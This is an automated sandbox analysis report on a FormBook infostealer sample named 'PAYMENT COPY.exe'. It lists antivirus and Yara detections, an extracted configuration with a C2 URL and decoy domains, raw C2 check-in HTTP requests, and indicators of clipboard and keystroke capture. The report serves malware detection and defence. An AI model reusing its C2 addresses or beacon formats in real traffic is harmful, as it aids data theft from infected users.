Analysis Report PAYMENT COPY.exe

AV Detection:

Antivirus detection for URL or domain

Source: www.cursosdigitaisbr.com/eqas/	Avira URL Cloud: Label: malware
Source: http://www.cursosdigitaisbr.com/eqas/?Kzrx=967KBfj8+VhMtFT4MuSkf1Q16ympYDb2+7V4ZV0KQDLb45yTiH1Ahm088ZXNCPpC8jR0PY64Fw==&4h3=vZRDNDdpalAdz8	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.cursosdigitaisbr.com/eqas/"], "decoy": ["elitereliableservices.com", "mmidyat.com", "undergroundtreehouserecords.com", "kakavjesajt.com", "rainbowrichesonlineslots.com", "sportfest40.com", "doubletc.pro", "foothillvbc.com", "bergvarme-installasjon.com", "mural.institute", "thewanderingflamingo.com", "teacherautomation.com", "sunberry.icu", "sebastian249.com", "cjaccessories.net", "cantonpod.com", "successshogi.xyz", "labsaguniminuto.com", "trancetherapysessions.com", "beyoncos.com", "agasete.com", "mg-izkerr8.net", "theonyxaffect.com", "modala.net", "boardgameschronicle.com", "ateliemundodaju.com", "llmav.xyz", "friedlinefamily.com", "whizzx.com", "leadingbusinessstrategies.com", "holidayspreesweepstakes.com", "nescleanups.com", "byyann.com", "cupidwealthmanagement.com", "exactcoach.site", "35efb510815e.com", "cablepd.com", "brokearchives.com", "spazio-living.com", "quantize.fund", "mexicoaprende.online", "mireiaclua.com", "360caiyin.com", "sharprenovationsusa.com", "yomeformo.online", "onebasketball.team", "planchadoraautomatica.com", "huaguoxianflushing.com", "misskarenwnglishteacher.com", "pasta-pop.com", "kuihua0101.com", "gabrielesantoro.com", "healthtransformationnetwork.com", "comicexplosion.com", "ebikestore.online", "luewhhedre.com", "xn--vensmasajsalonu-1vb.com", "cazataxservices.com", "hotelmanagementtech.com", "curiget.xyz", "greenviewholidays.com", "casinobetdeals.com", "stripepayment.online", "shelfcorpsale.com"]}

Multi AV Scanner detection for submitted file

Source: PAYMENT COPY.exe	Virustotal: Detection: 32%			Perma Link
Source: PAYMENT COPY.exe	ReversingLabs: Detection: 27%

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE

Antivirus or Machine Learning detection for unpacked file

Source: 2.1.PAYMENT COPY.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.msdt.exe.51e7960.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 1.2.PAYMENT COPY.exe.2650000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 5.2.msdt.exe.e45378.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.2.PAYMENT COPY.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Compliance:

Uses 32bit PE files

Source: PAYMENT COPY.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Binary contains paths to debug symbols

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000004.00000000.360125493.0000000007CA0000.00000002.00000001.sdmp
Source:	Binary string: msdt.pdbGCTL source: PAYMENT COPY.exe, 00000002.00000002.379579567.0000000002750000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: PAYMENT COPY.exe, 00000001.00000003.335333892.000000001F140000.00000004.00000001.sdmp, PAYMENT COPY.exe, 00000002.00000002.379228424.0000000000BCF000.00000040.00000001.sdmp, msdt.exe, 00000005.00000002.595219970.0000000004CB0000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: PAYMENT COPY.exe, msdt.exe
Source:	Binary string: msdt.pdb source: PAYMENT COPY.exe, 00000002.00000002.379579567.0000000002750000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000004.00000000.360125493.0000000007CA0000.00000002.00000001.sdmp

Spreading:

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_00405301 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,		1_2_00405301
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_00405C94 SetErrorMode,SetErrorMode,FindFirstFileA,SetErrorMode,FindClose,		1_2_00405C94
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 1_2_004026BC FindFirstFileA,		1_2_004026BC

Software Vulnerabilities:

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 4x nop then pop edi		2_2_0040C3C7
Source: C:\Users\user\Desktop\PAYMENT COPY.exe	Code function: 4x nop then pop edi		2_1_0040C3C7
Source: C:\Windows\SysWOW64\msdt.exe	Code function: 4x nop then pop edi		5_2_00ADC3C7

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49723 -> 104.21.28.135:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49723 -> 104.21.28.135:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49723 -> 104.21.28.135:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49752 -> 14.129.120.32:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49752 -> 14.129.120.32:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49752 -> 14.129.120.32:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.cursosdigitaisbr.com/eqas/

Performs DNS queries to domains with low reputation

Source: C:\Windows\explorer.exe

DNS query: www.llmav.xyz

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=zlzoH+ErGdORI3KgnipEDQmAM+5mnlewXlSz4LF6ZDcdx8uItHTjoqljxUMZx7tHvLXvbS3vgg==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.cjaccessories.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=5vTDjg0AbqyZCldj/4uhpy3uniwA6wzjOzlj8Zy6y3xAduLQBKf0xYSENAev/AVhLePpE/aK2w==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.sportfest40.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=2WJx48jh/thZFm4UaW0+TWvb4qp7q1IcEsHJj26+PoNJlpUOGtb5NswHfLJoC/AYmsRkDoJx/Q==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.kakavjesajt.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=967KBfj8+VhMtFT4MuSkf1Q16ympYDb2+7V4ZV0KQDLb45yTiH1Ahm088ZXNCPpC8jR0PY64Fw==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.cursosdigitaisbr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=ZOpWeYl13G0nYt67dVF2CnLu74JWwlwH6kqD7vFNiwsDSsXFN4+zplc98svsYfoyCRsuDbeIEw==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.llmav.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=+pdiEsaPT2Qcmu2ts2xxLdHpIsIAjIekwLbYEBSMYRvbotqJwTsf/hFk1ceM/lb+HZzWB3Gpcg==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.35efb510815e.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=vogt4SdM7257j7Tk1uEKvDVNcysLCgoPP/omvU9RbfjhJlgcGqamOKpa157N0oGBpfPcf/L32A==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.beyoncos.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 23.227.38.74 23.227.38.74

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: OVHFR OVHFR
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=zlzoH+ErGdORI3KgnipEDQmAM+5mnlewXlSz4LF6ZDcdx8uItHTjoqljxUMZx7tHvLXvbS3vgg==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.cjaccessories.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=5vTDjg0AbqyZCldj/4uhpy3uniwA6wzjOzlj8Zy6y3xAduLQBKf0xYSENAev/AVhLePpE/aK2w==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.sportfest40.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=2WJx48jh/thZFm4UaW0+TWvb4qp7q1IcEsHJj26+PoNJlpUOGtb5NswHfLJoC/AYmsRkDoJx/Q==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.kakavjesajt.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=967KBfj8+VhMtFT4MuSkf1Q16ympYDb2+7V4ZV0KQDLb45yTiH1Ahm088ZXNCPpC8jR0PY64Fw==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.cursosdigitaisbr.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=ZOpWeYl13G0nYt67dVF2CnLu74JWwlwH6kqD7vFNiwsDSsXFN4+zplc98svsYfoyCRsuDbeIEw==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.llmav.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=+pdiEsaPT2Qcmu2ts2xxLdHpIsIAjIekwLbYEBSMYRvbotqJwTsf/hFk1ceM/lb+HZzWB3Gpcg==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.35efb510815e.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /eqas/?Kzrx=vogt4SdM7257j7Tk1uEKvDVNcysLCgoPP/omvU9RbfjhJlgcGqamOKpa157N0oGBpfPcf/L32A==&4h3=vZRDNDdpalAdz8 HTTP/1.1Host: www.beyoncos.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: www.cjaccessories.net

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: httpv2(13.12)Date: Mon, 12 Apr 2021 07:46:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 3a 3a 73 65 6c 65 63 74 69 6f 6e 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 31 33 33 30 30 3b 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 20 7d 0a 3a 3a 2d 6d 6f 7a 2d 73 65 6c 65 63 74 69 6f 6e 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 31 33 33 30 30 3b 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 20 7d 0a 0a 62 6f 64 79 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 09 6d 61 72 67 69 6e 3a 20 34 30 70 78 3b 0a 09 66 6f 6e 74 3a 20 31 33 70 78 2f 32 30 70 78 20 6e 6f 72 6d 61 6c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 09 63 6f 6c 6f 72 3a 20 23 34 46 35 31 35 35 3b 0a 7d 0a 0a 61 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 33 33 39 39 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 0a 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 39 70 78 3b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 34 70 78 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 34 70 78 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 0a 7d 0a 0a 63 6f 64 65 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 43 6f 75 72 69 65 72 20 4e 65 77 2c 20 43 6f 75 72 69 65 72 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 32 31 36 36 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 6d 61 72 67 69 6e 3a 20 31 34 70 78 20 30 20 31 34 70 78 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 32 70 78 20 31 30 70 78 20 31 32 70 78 20 31 30 70 78 3b 0a 7d 0a 0a 23 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 31 30 70 78 3b 0a 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 38 70

URLs found in memory or binary data

Source: msdt.exe, 00000005.00000002.598191683.0000000005362000.00000004.00000001.sdmp	String found in binary or memory: http://181ue.com/sq.html?entry=
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000004.00000002.594277957.000000000095C000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000004.00000000.365874428.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: msdt.exe, 00000005.00000002.598191683.0000000005362000.00000004.00000001.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: msdt.exe, 00000005.00000002.598191683.0000000005362000.00000004.00000001.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: msdt.exe, 00000005.00000002.598191683.0000000005362000.00000004.00000001.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: msdt.exe, 00000005.00000002.598191683.0000000005362000.00000004.00000001.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?
Source: msdt.exe, 00000005.00000002.598191683.0000000005362000.00000004.00000001.sdmp	String found in binary or memory: https://www.8dq98.com/enter/index.html

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality for read data from the clipboard

Source: C:\Users\user\Desktop\PAYMENT COPY.exe

Code function: 1_2_00404EA0 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,lstrlenA,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_00404EA0

Creates a DirectInput object (often for capturing keystrokes)

Source: PAYMENT COPY.exe, 00000001.00000002.341477540.0000000000A0A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Source: Yara match	File source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.341537676.0000000002650000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.593833338.0000000000F20000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.593897899.0000000000F50000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.593224155.0000000000AD0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.378818035.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.379005544.00000000005C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000001.335966959.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000002.00000002.379053655.00000000005F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.1.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.PAYMENT COPY.exe.2650000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.PAYMENT COPY.exe.2650000.2.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.1.PAYMENT COPY.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 2.2.PAYMENT COPY.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Executable has a suspicious name (potential lure to open the executable)

Source: PAYMENT COPY.exe

Static file information: Suspicious name

Initial sample is a PE file and has a suspicious name

Source: initial sample

